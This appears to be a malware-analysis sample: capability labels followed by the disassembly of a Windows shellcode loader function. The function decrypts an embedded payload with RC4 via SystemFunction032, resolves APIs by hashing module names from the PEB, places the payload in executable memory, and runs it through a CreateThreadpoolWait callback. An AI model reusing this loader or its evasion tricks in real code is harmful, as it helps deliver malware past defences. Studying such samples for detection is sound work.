Function at 0x180001070
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via createthreadpoolwait
Execute shellcode via indirect call
Get process filename

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x50]
mov eax, 2
lea rdx, [0x180003230]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1800010a0
mov eax, dword [rdx + 0x10]
movups xmm0, xmmword [rdx]
mov dword [rsp + 0x20], 0x10
mov dword [rsp + 0x24], 0x10
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
lea rax, [0x180004078]
mov qword [rsp + 0x28], rax
lea rcx, str.Advapi32
lea rax, [rsp + 0x50]
mov dword [rsp + 0x30], 0x116
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0x116
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x20]
test r8, r8
je 0x1800011c6
nop dword [rax]
cmp word [r8 + 0x48], 0
je 0x1800011c6
mov rdx, qword [r8 + 0x50]
xor eax, eax
movzx ecx, word [rdx]
test ecx, ecx
je 0x1800011be
nop word [rax + rax]
add eax, ecx
lea rdx, [rdx + 2]
add ecx, 4
imul eax, ecx
movzx ecx, word [rdx]
test ecx, ecx
jne 0x1800011a0
cmp eax, 0xbad223c0
je 0x180001291
mov r8, qword [r8]
test r8, r8
jne 0x180001180
mov rcx, qword [rsp + 0x40]
mov edx, 0xe67e3900
call fcn.1800012d0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, 0x116
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov rdi, rax
call rbx
mov r8d, 0x116
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x40]
mov edx, 0x116
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180001247
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x180003348]
call fcn.180001010
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForThreadpoolWaitCallbacks]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001284
mov rcx, qword [r8 + 0x20]
jmp 0x1800011cb